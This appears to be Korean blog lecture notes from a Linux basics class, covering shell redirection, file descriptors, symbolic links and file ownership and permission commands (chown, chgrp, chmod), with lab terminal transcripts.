file.tbz
file.zip ---- zip ------> # unzip file.zip
file.jar ---- jar ------> # jar xvf file.jar


(실무 예) file.tar.gz

# tar xvzf file.tar.gz
# gzip –d file.tar.gz



13장 쉘의 특성

쉘은 명령어해석기다 내가 타이핑한 명령어를 해석해서 커널로 보내준다

리다이렉션(Redirection)
파이프(Pipe)
쉘 기능(Shell Function)
변수(Variable)
히스토리(History)
환경파일(Environment Files) 가장 중요!! .bashrc




리다이렉션(방향 재지정)

fd (파일 기술자, File Descriptor)

파일 기술자(File Description)란?
 프로세스가 파일을 열때 할당되는 번호
 프로세스의 열린 파일을 구분할 때 사용하는 식별 번호

[참고] C 언어
# vi test.c
------------------------
int fd;
fd=open(.....);
------------------------

파일을 열면 버퍼공간에 임시파일을 만들어서 작업하게 된다
동시에 파일을 열어서 어떤유저는 내용을 추가, 수정, 삭제를 한다
운영체제가 여러명이 연 파일을 구분할 수 있어야 한다 그때 부여되는게 fd다

예약되어진 파일 기술자(File Descriptor)
0 stdin  스탠다드인풋 표준입력 기본값이면 키보드로 입력받는다
1 stdout 스탠다드아웃풋 표준출력 기본값이면 모니터로 출력된다
2 stderr 스탠다드에러 표준에러 기본값이면 모니터로 출력된다


[형식]
CMD  < filename (표준입력)
CMD 0< filename (표준입력 - 파일 기술자 0번)

출력 재지정
CMD  >  filename //표준출력, 덮어쓰기 기능
CMD 1>  filename //표준출력, 덮어쓰기 기능
CMD  >> filename //표준출력, 이어쓰기 기능
CMD 1>> filename //표준출력, 이어쓰기 기능

[root@linux220 /test]# echo 1111
1111
[root@linux220 /test]# echo 1111 > filename1
[root@linux220 /test]# cat filename1
1111
[root@linux220 /test]# echo 2222 > filename1 //덮어쓰기
[root@linux220 /test]# cat filename1
2222
[root@linux220 /test]# echo 1111 >> filename1 //이어쓰기
[root@linux220 /test]# cat filename1
2222
1111

에러 재지정
CMD 2>  filename //표준에러출력, 덮어쓰기, 2 생략불가!!
CMD 2>> filename //표준에러출력, 이어쓰기, 2 생략불가!!


[root@linux220 /test]# touch file1 file2 file3
[root@linux220 /test]# ls -l /test /nodir
ls: /nodir: 그런 파일이나 디렉토리가 없음   //에러출력
/test:        //정상출력
합계 0
-rw-r--r-- 1 root root 0  4월 18 22:04 file1
-rw-r--r-- 1 root root 0  4월 18 22:04 file2
-rw-r--r-- 1 root root 0  4월 18 22:04 file3
[root@linux220 /test]# ls -l /test /nodir > dirfilename1 //1이 생략, 정상적인 출력결과만 dirfilename1에 입력
ls: /nodir: 그런 파일이나 디렉토리가 없음   //에러출력만 나옴
[root@linux220 /test]# cat dirfilename1
/test:
합계 0
-rw-r--r-- 1 root root 0  4월 18 22:05 dirfilename1
-rw-r--r-- 1 root root 0  4월 18 22:04 file1
-rw-r--r-- 1 root root 0  4월 18 22:04 file2
-rw-r--r-- 1 root root 0  4월 18 22:04 file3
[root@linux220 /test]# ls -l /test /nodir 2> dirfilename2 //2, 에러출력결과만 dirfilename2에 입력
/test:
합계 8
-rw-r--r-- 1 root root 207  4월 18 22:05 dirfilename1
-rw-r--r-- 1 root root  55  4월 18 22:07 dirfilename2
-rw-r--r-- 1 root root   0  4월 18 22:04 file1
-rw-r--r-- 1 root root   0  4월 18 22:04 file2
-rw-r--r-- 1 root root   0  4월 18 22:04 file3
[root@linux220 /test]# cat dirfilename2
ls: /nodir: 그런 파일이나 디렉토리가 없음

[root@linux220 /test]# ls /test /nodir > dirfilename1 2> dirfilename2
[root@linux220 /test]# cat dirfilename1
/test:
dirfilename1
dirfilename2
file1
file2
file3
[root@linux220 /test]# cat dirfilename2
ls: /nodir: 그런 파일이나 디렉토리가 없음


[root@linux220 /test]# ls /test /nodir > dirfilename 2>&1 //에러메시지를 1> 의 입력으로 다시 보낸다
[root@linux220 /test]# cat dirfilename
ls: /nodir: 그런 파일이나 디렉토리가 없음
/test:
dirfilename
dirfilename1
dirfilename2
file1
file2
file3



쉘 스크립트는 명령어의 집합형태


clear.sh

cd /test
rm -rf /test/*
cp -p /etc/passwd file1
cp file1 file2
cp file2 file3



(실무 예) script.sh(스크립트) 로그 파일 생성
(X) # ./script.sh > file.log
(0) # ./script.sh > file.log 2>&1

(실무 예) ./configure —prefix=/usr/local/apache2
# ./configure --perfix=/usr/local/apache2 2> file.log
# ./configure --perfix=/usr/local/apache2 > file.log 2>&1

(실무 예) 일반 사용자(EX: oracle, wasuser)가 검색하는 경우
$ find / -name core –type f
$ find / -name core –type f 2>/dev/null //에러메시지를 /dev/null 로 보내라 에러메시지 보기싫으니까


'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160420 리눅스 기초  (0) 2016.04.21
20160419 리눅스 기초  (0) 2016.04.20
20160415 리눅스 기초  (0) 2016.04.15
20160414 리눅스 기초  (0) 2016.04.15
20160412 리눅스 기초  (0) 2016.04.13
Posted by 22Hz
, |
4일차

==============================안내==============================

6번 자리(linux205) > 21번 자리(linux220)

응용프로그램, 문서, 바탕 화면 글꼴 : Sans 10
창 제목 글꼴 : Monospace Blod 11
고정폭 글꼴 : MiscFixed SemiCondensed 11

기본내용 위주로 외워둘 것 심화는 찾아보면서 해도 된다
정리해주는 내용은 필히 외워둘 것 알고 있어야 한다

windows에 설치하는 vim 이용해서 vi에 익숙해져라
http://www.vim.org/download.php
http://www.plusblog.co.kr/947

주말에 집에서도 교육환경이랑 비슷하게 구성해놓기

==============================복습==============================

wc CMD
su CMD 하이픈(-)이 들어가게 되면 현재 디렉토리 유지하면서
last CMD
who CMD
VI 편집기
파일의 종류
 일반 파일
 디렉토리 파일
 링크 파일
 - 하드링크(Hard Link) 파일  (# ln file1 file2)
 - 심볼릭 링크(Symbolic Link) 파일 (# ln -s file1 file2)
 장치 파일
 - 블럭 장치(Block Device) 파일
 - 캐릭터 장치(Character Device) 파일

==============================강의==============================

파일 속성 변경 명령어
 chown CMD
  # chown -R root:other dir1
 chgrp CMD
 chmod CMD
  퍼미션 변경 방법 종류
  - 심볼릭 모드(Symbolic Mode) # chmod u+x file1
  - 옥탈 모드  (Octal Mode) # chmod 744 file1
  파일 & 디렉토리 퍼미션 의미
  - 파일(r/w/x)
  - 디렉토리(r:ls/w:touch, rm/x:cd)
  umask CMD
  - (관리자) /etc/bashrc
  - (사용자) ~/.bashrc
  특수 퍼미션
  - SetUID/SetGID/Sticky Bit 의미
  - SetUID/SetGID/Sticky Bit 설정
  - SetUID/SetGID/Sticky Bit 관리
VI 편집기
 ~/.vimrc
 - set nu
 - set ai
 - set tabstop=4

사용자와 통신할 때 사용하는 명령어
 mail/mailx CMD
  # mailx -s "OK: linux2XX" admin@example.com < report.txt
 talk CMD
  [참고] 서비스 on/off 관리 툴 종류
  (GUI) # system-config-services (# serviceconf)
  (TUI) # ntsysv (# setup)
  (CLI) # chkconfig ntalk on/off
 wall CMD

==============================실습==============================

심볼릭 링크는 일반적으로 상대경로를 사용하지 않는다
(X) # ln -s dir1 dir2
(O) # ln -s /test/dir1 /test/dir2

웹서버에서 웹소스 디렉토리 마이그레이션 하는 작업
DAUM Web Server httpd(80) <- Web Client http://www.daum.net:80
/was/index.html

작업 : /was -> /zeus
# ln -s /was /zeus

관리 디렉토리 통합
FTP : /etc/vsftpd
DNS : /var/named
WEB : /var/www/html

# cd /test : rm -rf /test/*
# ln -s /etc/vsftpd FTP
# ln -s /var/named DNS
# ln -s /var/www/html WEB
# cd /test ; ls
# cd FTP
# cd ../DNS
# cd ../WEB

[root@linux220 ~]# cd /test
[root@linux220 /test]# rm -rf /test/*
[root@linux220 /test]# ln -s /etc/vsftpd FTP
[root@linux220 /test]# ln -s /var/named DNS
[root@linux220 /test]# ln -s /var/www/html WEB
[root@linux220 /test]# ls
DNS  FTP  WEB
[root@linux220 /test]# cd FTP
[root@linux220 /test/FTP]# cd ../DNS
[root@linux220 /test/DNS]# cd ../WEB
[root@linux220 /test/WEB]#

버전 관리
/usr/local/tomcat-4.X ----> /usr/local/tomcat
/usr/local/tomcat-5.X ----> /usr/local/tomcat
/usr/local/tomcat-6.X ----> /usr/local/tomcat

(초기 프로그램을 설치하는 경우)
# cd /usr/local
# ls
tomcat-4.X

# ln -s tomcat-4.X tomcat
# cd tomcat
설정 작업(EX: /usr/local/tomcat)

(버전 업그레이드 하는 경우)
# cd /usr/local
# ls
tomcat-4.X tomcat-5.X tomcat

# rm tomcat
# ln -s tomcat-5.x tomcat

# cd tomcat
이전설정(/usr/local/tomcat) 복사



[root@linux220 /test/WEB]# ls -l /dev
합계 0
lrwxrwxrwx 1 root root         13  4월 15 16:11 MAKEDEV -> /sbin/MAKEDEV
lrwxrwxrwx 1 root root          4  4월 15 16:11 X0R -> null
crw-rw---- 1 root audio  14,   12  4월 15 16:11 adsp
crw------- 1 root root   10,  175  4월 15 16:11 agpgart
crw-rw---- 1 root audio  14,    4  4월 15 16:11 audio
crw------- 1 root root   10,   60  4월 15 16:11 autofs
drwxr-xr-x 3 root root         60  4월 15 16:11 bus
lrwxrwxrwx 1 root root          3  4월 15 16:11 cdrom -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 cdrom-hdc -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 cdrw -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 cdrw-hdc -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 cdwriter -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 cdwriter-hdc -> hdc
crw------- 1 root root    5,    1  4월 15 16:11 console
lrwxrwxrwx 1 root root         11  4월 15 16:11 core -> /proc/kcore
drwxr-xr-x 6 root root        120  4월 15 16:11 disk
crw-rw---- 1 root root   14,    9  4월 15 16:11 dmmidi
crw-rw---- 1 root audio  14,    3  4월 15 16:11 dsp
lrwxrwxrwx 1 root root          3  4월 15 16:11 dvd -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 dvd-hdc -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 dvdrw -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 dvdrw-hdc -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 dvdwriter -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 dvdwriter-hdc -> hdc
lrwxrwxrwx 1 root root         13  4월 15 16:11 fd -> /proc/self/fd
crw-rw-rw- 1 root root    1,    7  4월 15 16:11 full
srwxrwxrwx 1 root root          0  4월 15 16:11 gpmctl
brw-rw---- 1 root disk   22,    0  4월 15 16:11 hdc
crw------- 1 root root   10,  228  4월 15 16:11 hpet
prw------- 1 root root          0  4월 15 16:11 initctl
drwxr-xr-x 2 root root        180  4월 15 16:11 input
crw------- 1 root root    1,   11  4월 15 16:11 kmsg
srw-rw-rw- 1 root root          0  4월 15 16:11 log
brw-r----- 1 root disk    7,    0  4월 15 16:11 loop0
brw-r----- 1 root disk    7,    1  4월 15 16:11 loop1
brw-r----- 1 root disk    7,    2  4월 15 16:11 loop2
brw-r----- 1 root disk    7,    3  4월 15 16:11 loop3
brw-r----- 1 root disk    7,    4  4월 15 16:11 loop4
brw-r----- 1 root disk    7,    5  4월 15 16:11 loop5
brw-r----- 1 root disk    7,    6  4월 15 16:11 loop6
brw-r----- 1 root disk    7,    7  4월 15 16:11 loop7
drwxr-xr-x 2 root root         60  4월 15 16:11 mapper
brw-r----- 1 root disk    9,    0  4월 15 16:11 md0
crw-r----- 1 root kmem    1,    1  4월 15 16:11 mem
crw-rw---- 1 root audio  14,    2  4월 15 16:11 midi
crw-rw---- 1 root audio  14,    0  4월 15 16:11 mixer
drwxr-xr-x 2 root root         60  4월 15 16:11 net
crw-rw-rw- 1 root root    1,    3  4월 15 16:11 null
crw-rw---- 1 root root   10,  144  4월 15 16:11 nvram
crw------- 1 root root    1,   12  4월 15 16:11 oldmem
crw-rw---- 1 root lp     99,    0  4월 15 16:11 parport0
crw-rw---- 1 root lp     99,    1  4월 15 16:11 parport1
crw-rw---- 1 root lp     99,    2  4월 15 16:11 parport2
crw-rw---- 1 root lp     99,    3  4월 15 16:11 parport3
crw-r----- 1 root kmem    1,    4  4월 15 16:11 port
crw------- 1 root root  108,    0  4월 15 16:11 ppp
crw-rw-rw- 1 root tty     5,    2  4월 15 16:27 ptmx
drwxr-xr-x 2 root root          0  4월 15 16:10 pts
lrwxrwxrwx 1 root root          4  4월 15 16:11 ram -> ram1
brw-r----- 1 root disk    1,    0  4월 15 16:10 ram0
brw-r----- 1 root disk    1,    1  4월 15 16:10 ram1
brw-r----- 1 root disk    1,   10  4월 15 16:10 ram10
brw-r----- 1 root disk    1,   11  4월 15 16:10 ram11
brw-r----- 1 root disk    1,   12  4월 15 16:10 ram12
brw-r----- 1 root disk    1,   13  4월 15 16:10 ram13
brw-r----- 1 root disk    1,   14  4월 15 16:10 ram14
brw-r----- 1 root disk    1,   15  4월 15 16:10 ram15
brw-r----- 1 root disk    1,    2  4월 15 16:10 ram2
brw-r----- 1 root disk    1,    3  4월 15 16:10 ram3
brw-r----- 1 root disk    1,    4  4월 15 16:10 ram4
brw-r----- 1 root disk    1,    5  4월 15 16:10 ram5
brw-r----- 1 root disk    1,    6  4월 15 16:10 ram6
brw-r----- 1 root disk    1,    7  4월 15 16:10 ram7
brw-r----- 1 root disk    1,    8  4월 15 16:10 ram8
brw-r----- 1 root disk    1,    9  4월 15 16:10 ram9
lrwxrwxrwx 1 root root          4  4월 15 16:11 ramdisk -> ram0
crw-rw-rw- 1 root root    1,    8  4월 15 16:11 random
crw------- 1 root root  162,    0  4월 15 16:11 rawctl
brw------- 1 root root    8,    1  4월 15 16:11 root
crw-r--r-- 1 root root   10,  135  4월 15 16:10 rtc
brw-r----- 1 root disk    8,    0  4월 15 16:11 sda
brw-r----- 1 root disk    8,    1  4월 15 16:11 sda1
brw-r----- 1 root disk    8,    2  4월 15 16:11 sda2
brw-r----- 1 root disk    8,    3  4월 15 16:11 sda3
brw-r----- 1 root disk    8,    4  4월 15 16:11 sda4
brw-r----- 1 root disk    8,    5  4월 15 16:11 sda5
brw-r----- 1 root disk    8,    6  4월 15 16:11 sda6
brw-r----- 1 root disk    8,    7  4월 15 16:11 sda7
brw-r----- 1 root disk    8,    8  4월 15 16:11 sda8
crw-rw---- 1 root audio  14,    1  4월 15 16:11 sequencer
crw-rw---- 1 root audio  14,    8  4월 15 16:11 sequencer2
crw------- 1 root root   21,    0  4월 15 16:11 sg0
drwxrwxrwt 2 root root         40  4월 15 16:11 shm
crw------- 1 root root   10,  231  4월 15 16:11 snapshot
drwxr-xr-x 2 root root        180  4월 15 16:11 snd
lrwxrwxrwx 1 root root         15  4월 15 16:11 stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root         15  4월 15 16:11 stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root         15  4월 15 16:11 stdout -> /proc/self/fd/1
crw------- 1 root root    4,    0  4월 15 16:10 systty
crw-rw-rw- 1 root tty     5,    0  4월 15 16:11 tty
crw-rw---- 1 root root    4,    0  4월 15 16:10 tty0
crw------- 1 root root    4,    1  4월 15 16:11 tty1
crw-rw---- 1 root tty     4,   10  4월 15 16:10 tty10
crw-rw---- 1 root tty     4,   11  4월 15 16:10 tty11
crw-rw---- 1 root tty     4,   12  4월 15 16:10 tty12
crw-rw---- 1 root tty     4,   13  4월 15 16:11 tty13
crw-rw---- 1 root tty     4,   14  4월 15 16:11 tty14
crw-rw---- 1 root tty     4,   15  4월 15 16:11 tty15
crw-rw---- 1 root tty     4,   16  4월 15 16:11 tty16
crw-rw---- 1 root tty     4,   17  4월 15 16:11 tty17
crw-rw---- 1 root tty     4,   18  4월 15 16:11 tty18
crw-rw---- 1 root tty     4,   19  4월 15 16:11 tty19
crw------- 1 root root    4,    2  4월 15 16:11 tty2
crw-rw---- 1 root tty     4,   20  4월 15 16:11 tty20
crw-rw---- 1 root tty     4,   21  4월 15 16:11 tty21
crw-rw---- 1 root tty     4,   22  4월 15 16:11 tty22
crw-rw---- 1 root tty     4,   23  4월 15 16:11 tty23
crw-rw---- 1 root tty     4,   24  4월 15 16:11 tty24
crw-rw---- 1 root tty     4,   25  4월 15 16:11 tty25
crw-rw---- 1 root tty     4,   26  4월 15 16:11 tty26
crw-rw---- 1 root tty     4,   27  4월 15 16:11 tty27
crw-rw---- 1 root tty     4,   28  4월 15 16:11 tty28
crw-rw---- 1 root tty     4,   29  4월 15 16:11 tty29
crw------- 1 root root    4,    3  4월 15 16:11 tty3
crw-rw---- 1 root tty     4,   30  4월 15 16:11 tty30
crw-rw---- 1 root tty     4,   31  4월 15 16:11 tty31
crw-rw---- 1 root tty     4,   32  4월 15 16:11 tty32
crw-rw---- 1 root tty     4,   33  4월 15 16:11 tty33
crw-rw---- 1 root tty     4,   34  4월 15 16:11 tty34
crw-rw---- 1 root tty     4,   35  4월 15 16:11 tty35
crw-rw---- 1 root tty     4,   36  4월 15 16:11 tty36
crw-rw---- 1 root tty     4,   37  4월 15 16:11 tty37
crw-rw---- 1 root tty     4,   38  4월 15 16:11 tty38
crw-rw---- 1 root tty     4,   39  4월 15 16:11 tty39
crw------- 1 root root    4,    4  4월 15 16:11 tty4
crw-rw---- 1 root tty     4,   40  4월 15 16:11 tty40
crw-rw---- 1 root tty     4,   41  4월 15 16:11 tty41
crw-rw---- 1 root tty     4,   42  4월 15 16:11 tty42
crw-rw---- 1 root tty     4,   43  4월 15 16:11 tty43
crw-rw---- 1 root tty     4,   44  4월 15 16:11 tty44
crw-rw---- 1 root tty     4,   45  4월 15 16:11 tty45
crw-rw---- 1 root tty     4,   46  4월 15 16:11 tty46
crw-rw---- 1 root tty     4,   47  4월 15 16:11 tty47
crw-rw---- 1 root tty     4,   48  4월 15 16:11 tty48
crw-rw---- 1 root tty     4,   49  4월 15 16:11 tty49
crw------- 1 root root    4,    5  4월 15 16:11 tty5
crw-rw---- 1 root tty     4,   50  4월 15 16:11 tty50
crw-rw---- 1 root tty     4,   51  4월 15 16:11 tty51
crw-rw---- 1 root tty     4,   52  4월 15 16:11 tty52
crw-rw---- 1 root tty     4,   53  4월 15 16:11 tty53
crw-rw---- 1 root tty     4,   54  4월 15 16:11 tty54
crw-rw---- 1 root tty     4,   55  4월 15 16:11 tty55
crw-rw---- 1 root tty     4,   56  4월 15 16:11 tty56
crw-rw---- 1 root tty     4,   57  4월 15 16:11 tty57
crw-rw---- 1 root tty     4,   58  4월 15 16:11 tty58
crw-rw---- 1 root tty     4,   59  4월 15 16:11 tty59
crw------- 1 root root    4,    6  4월 15 16:11 tty6
crw-rw---- 1 root tty     4,   60  4월 15 16:11 tty60
crw-rw---- 1 root tty     4,   61  4월 15 16:11 tty61
crw-rw---- 1 root tty     4,   62  4월 15 16:11 tty62
crw-rw---- 1 root tty     4,   63  4월 15 16:11 tty63
crw-rw---- 1 root root    4,    7  4월 15 16:10 tty7
crw-rw---- 1 root tty     4,    8  4월 15 16:11 tty8
crw-rw---- 1 root tty     4,    9  4월 15 16:10 tty9
crw-rw---- 1 root uucp    4,   64  4월 15 16:10 ttyS0
crw-rw---- 1 root uucp    4,   65  4월 15 16:10 ttyS1
crw-rw---- 1 root uucp    4,   66  4월 15 16:10 ttyS2
crw-rw---- 1 root uucp    4,   67  4월 15 16:10 ttyS3
cr--r--r-- 1 root root    1,    9  4월 15 16:11 urandom
crw------- 1 root root  442,    0  4월 15 16:11 usbdev1.1_ep00
crw------- 1 root root  442,    0  4월 15 16:11 usbdev1.1_ep81
crw------- 1 root root  442, 2048  4월 15 16:11 usbdev2.1_ep00
crw------- 1 root root  442, 2048  4월 15 16:11 usbdev2.1_ep81
crw------- 1 root root  442, 2049  4월 15 16:11 usbdev2.2_ep00
crw------- 1 root root  442, 2049  4월 15 16:11 usbdev2.2_ep81
crw------- 1 root root  442, 2050  4월 15 16:11 usbdev2.3_ep00
crw------- 1 root root  442, 2050  4월 15 16:11 usbdev2.3_ep81
crw------- 1 vcsa tty     7,    0  4월 15 16:11 vcs
crw------- 1 vcsa tty     7,    1  4월 15 16:11 vcs1
crw------- 1 vcsa tty     7,    2  4월 15 16:11 vcs2
crw------- 1 vcsa tty     7,    3  4월 15 16:11 vcs3
crw------- 1 vcsa tty     7,    4  4월 15 16:11 vcs4
crw------- 1 vcsa tty     7,    5  4월 15 16:11 vcs5
crw------- 1 vcsa tty     7,    6  4월 15 16:11 vcs6
crw------- 1 vcsa tty     7,    7  4월 15 16:11 vcs7
crw------- 1 vcsa tty     7,  128  4월 15 16:11 vcsa
crw------- 1 vcsa tty     7,  129  4월 15 16:11 vcsa1
crw------- 1 vcsa tty     7,  130  4월 15 16:11 vcsa2
crw------- 1 vcsa tty     7,  131  4월 15 16:11 vcsa3
crw------- 1 vcsa tty     7,  132  4월 15 16:11 vcsa4
crw------- 1 vcsa tty     7,  133  4월 15 16:11 vcsa5
crw------- 1 vcsa tty     7,  134  4월 15 16:11 vcsa6
crw------- 1 vcsa tty     7,  135  4월 15 16:11 vcsa7
crw------- 1 root root   10,   62  4월 15 16:11 vmci
crw-rw-rw- 1 root root   10,   61  4월 15 16:11 vsock
crw-rw-rw- 1 root root    1,    5  4월 15 16:11 zero


(파일의 속성 정보 변경 명령어)

File Type :
Permission Mode : chmod
Link Count : ln
Owner : chown
Group : chgrp
File Size :
Mtime : touch -t
File Name : mv

[root@linux220 ~]# touch file1
[root@linux220 ~]# ls -l file1
-rw-r--r-- 1 root root 0  4월 15 16:35 file1
[root@linux220 ~]# chown fedora file1
[root@linux220 ~]# ls -l file1
-rw-r--r-- 1 fedora root 0  4월 15 16:35 file1
[root@linux220 ~]# chown .user01 file1
[root@linux220 ~]# ls -l file1
-rw-r--r-- 1 fedora user01 0  4월 15 16:35 file1
[root@linux220 ~]# chown root:root file1
[root@linux220 ~]# ls -l file1 (# chown root.root file1)
-rw-r--r-- 1 root root 0  4월 15 16:35 file1

[EX2] chown -R 옵션 실습
(실습용 구조)
/test -- dir1 --+-- dir2 -- dir3
  |
  +-- file1
  |
  +-- file2

[root@linux220 ~]# cd /test
[root@linux220 /test]# rm -rf /test/*
[root@linux220 /test]# mkdir -p dir1/dir2/dir3
[root@linux220 /test]# touch dir1/file1
[root@linux220 /test]# touch dir1/file2
[root@linux220 /test]# ls -lR dir1
dir1:
합계 4.0K
drwxr-xr-x 3 root root 4.0K  4월 15 16:37 dir2
-rw-r--r-- 1 root root    0  4월 15 16:37 file1
-rw-r--r-- 1 root root    0  4월 15 16:37 file2

dir1/dir2:
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 16:37 dir3

dir1/dir2/dir3:
합계 0
[root@linux220 /test]# find . -ls
5003713    4 drwxrwxrwx   3 root     root         4096  4월 15 16:37 .
5003714    4 drwxr-xr-x   3 root     root         4096  4월 15 16:37 ./dir1
5003718    0 -rw-r--r--   1 root     root            0  4월 15 16:37 ./dir1/file2
5003717    0 -rw-r--r--   1 root     root            0  4월 15 16:37 ./dir1/file1
5003715    4 drwxr-xr-x   3 root     root         4096  4월 15 16:37 ./dir1/dir2
5003716    4 drwxr-xr-x   2 root     root         4096  4월 15 16:37 ./dir1/dir2/dir3
[root@linux220 /test]# tree
.
`-- dir1
    |-- dir2
    |   `-- dir3
    |-- file1
    `-- file2

3 directories, 2 files
[root@linux220 /test]# chown -R fedora:fedora dir1
[root@linux220 /test]# ls -lR dir1
dir1:
합계 4.0K
drwxr-xr-x 3 fedora fedora 4.0K  4월 15 16:37 dir2
-rw-r--r-- 1 fedora fedora    0  4월 15 16:37 file1
-rw-r--r-- 1 fedora fedora    0  4월 15 16:37 file2

dir1/dir2:
합계 4.0K
drwxr-xr-x 2 fedora fedora 4.0K  4월 15 16:37 dir3

dir1/dir2/dir3:
합계 0
[root@linux220 /test]# chown -R .user01 dir1
[root@linux220 /test]# find . -ls
5003713    4 drwxrwxrwx   3 root     root         4096  4월 15 16:37 .
5003714    4 drwxr-xr-x   3 fedora   user01       4096  4월 15 16:37 ./dir1
5003718    0 -rw-r--r--   1 fedora   user01          0  4월 15 16:37 ./dir1/file2
5003717    0 -rw-r--r--   1 fedora   user01          0  4월 15 16:37 ./dir1/file1
5003715    4 drwxr-xr-x   3 fedora   user01       4096  4월 15 16:37 ./dir1/dir2
5003716    4 drwxr-xr-x   2 fedora   user01       4096  4월 15 16:37 ./dir1/dir2/dir3
[root@linux220 /test]# chown -R root:root dir1
[root@linux220 /test]# ls -lR dir1
dir1:
합계 4.0K
drwxr-xr-x 3 root root 4.0K  4월 15 16:37 dir2
-rw-r--r-- 1 root root    0  4월 15 16:37 file1
-rw-r--r-- 1 root root    0  4월 15 16:37 file2

dir1/dir2:
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 16:37 dir3

dir1/dir2/dir3:
합계 0


chgrp 체인지그룹 파일의 사용자 그룹을 바꾼다

[root@linux220 /test]# rm -rf /tets/*
[root@linux220 /test]# touch file1
[root@linux220 /test]# ls -l file1
-rw-r--r-- 1 root root 0  4월 15 16:41 file1
[root@linux220 /test]# chgrp fedora file1
[root@linux220 /test]# ls -l file1
-rw-r--r-- 1 root fedora 0  4월 15 16:41 file1

[root@linux220 /test]# cd /test
[root@linux220 /test]# mkdir -p dir1/dir2/dir3
[root@linux220 /test]# ls -lR
.:
합계 4.0K
drwxr-xr-x 3 root root 4.0K  4월 15 16:42 dir1

./dir1:
합계 4.0K
drwxr-xr-x 3 root root 4.0K  4월 15 16:42 dir2

./dir1/dir2:
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 16:42 dir3

./dir1/dir2/dir3:
합계 0
[root@linux220 /test]# chgrp fedora dir1
[root@linux220 /test]# ls -lR
.:
합계 4.0K
drwxr-xr-x 3 root fedora 4.0K  4월 15 16:42 dir1

./dir1:
합계 4.0K
drwxr-xr-x 3 root root 4.0K  4월 15 16:42 dir2

./dir1/dir2:
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 16:42 dir3

./dir1/dir2/dir3:
합계 0
[root@linux220 /test]# chgrp -R user01 dir1
[root@linux220 /test]# ls -lR
.:
합계 4.0K
drwxr-xr-x 3 root user01 4.0K  4월 15 16:42 dir1

./dir1:
합계 4.0K
drwxr-xr-x 3 root user01 4.0K  4월 15 16:42 dir2

./dir1/dir2:
합계 4.0K
drwxr-xr-x 2 root user01 4.0K  4월 15 16:42 dir3

./dir1/dir2/dir3:
합계 0



chmod 파일 접근 권한을 바꾼다 / 퍼미션 모드를 바꾼다

퍼미션(Permission)을 변경하는 방법
- 심볼릭 모드(Symbolic Mode) : # chmod u+x file1 //문자를 쓰는 방식
- 옥탈 모드(Octal Mode) : # chmod 744 file1  //숫자를 쓰는 방식

a(all) = u(user) + g(group) + o(owner)

[root@linux220 /test]# touch file1
[root@linux220 /test]# ls -l file1
-rw-r--r-- 1 root root 0  4월 15 16:46 file1
[root@linux220 /test]# chmod u+x file1
[root@linux220 /test]# ls -l file1
-rwxr--r-- 1 root root 0  4월 15 16:46 file1
[root@linux220 /test]# chmod g-r file1
[root@linux220 /test]# ls -l file1
-rwx---r-- 1 root root 0  4월 15 16:46 file1
[root@linux220 /test]# chmod u-x.g+x file1
chmod: invalid mode: `u-x.g+x'
더 많은 정보를 보려면 `chmod --help' 하십시오.  //뭐가 문제?? -> ,(쉼표)로 해야하는데 .(마침표)로 함
[root@linux220 /test]# ls -l file1
-rwx---r-- 1 root root 0  4월 15 16:46 file1
[root@linux220 /test]# chmod u-x.g+x file1
chmod: invalid mode: `u-x.g+x'
더 많은 정보를 보려면 `chmod --help' 하십시오.
[root@linux220 /test]# chmod a=rwx file1
[root@linux220 /test]# ls -l file1
-rwxrwxrwx 1 root root 0  4월 15 16:46 file1
[root@linux220 /test]# chmod u-x,g-x file1  //이건 되는데??
[root@linux220 /test]# ls -l file1
-rw-rw-rwx 1 root root 0  4월 15 16:46 file1

(문제 생긴 부분에서 수정!!)
[root@linux220 /test]# chmod u-x,g+x file1
[root@linux220 /test]# ls -l
합계 0
-rw---xr-- 1 root root 0  4월 15 16:54 file1








옥탈모드 수치모드

--- : 권한 없음 0
--x : 실행 권한 1
-w- : 쓰기 권한 2
-wx : 쓰기 실행 3
r-- : 읽기 권한 4
r-x : 읽기 실행 5
rw- : 읽기 쓰기 6
rwx : 읽기 쓰기 실행 7

# chmod 744 file1 (rwx r-- r--)

[root@linux220 /test]# touch file1
[root@linux220 /test]# ls -l file1
-rw-r--r-- 1 root root 0  4월 15 16:52 file1
[root@linux220 /test]# chmod 744 file1
[root@linux220 /test]# ls -l file1
-rwxr--r-- 1 root root 0  4월 15 16:52 file1
[root@linux220 /test]# chmod 754 file1
[root@linux220 /test]# ls -l file1
-rwxr-xr-- 1 root root 0  4월 15 16:52 file1


파일에 대한 퍼미션
r(read) 읽기, w(write) 수정, x(excute) 실행 할 수 있는 권한

디렉토리에 대한 퍼미션
r : 디렉토리에서 ls CMD tngodrnjsgks
w : 디렉토리안의 파일들의 생성과 삭제를 할 수 있는 권한 touch CMD, rm CMD
x : 디렉토리내부로의 cd CMD 수행할 수 있는 권한

(파일과 디렉토리의 퍼미션의 정확한 의미)
----------------------------------
파일 디렉토리
----------------------------------
r r(ls CMD)
w w(생성 & 삭제)
x x(cd CMD)
----------------------------------



[터미널1] fedora 사용자 터미널

[root@linux220 ~]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux220.example.com (Linux release 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010) (2)

login: fedora
Password:
Last login: Thu Apr 14 18:35:50 from linux220.example.com
[fedora@linux220 ~]$ id
uid=500(fedora) gid=500(fedora) groups=500(fedora)
[fedora@linux220 ~]$ pwd
/home/fedora
[fedora@linux220 ~]$ ls -ld /home/fedora
drwx------ 3 fedora fedora 1024  4월 13 01:32 /home/fedora
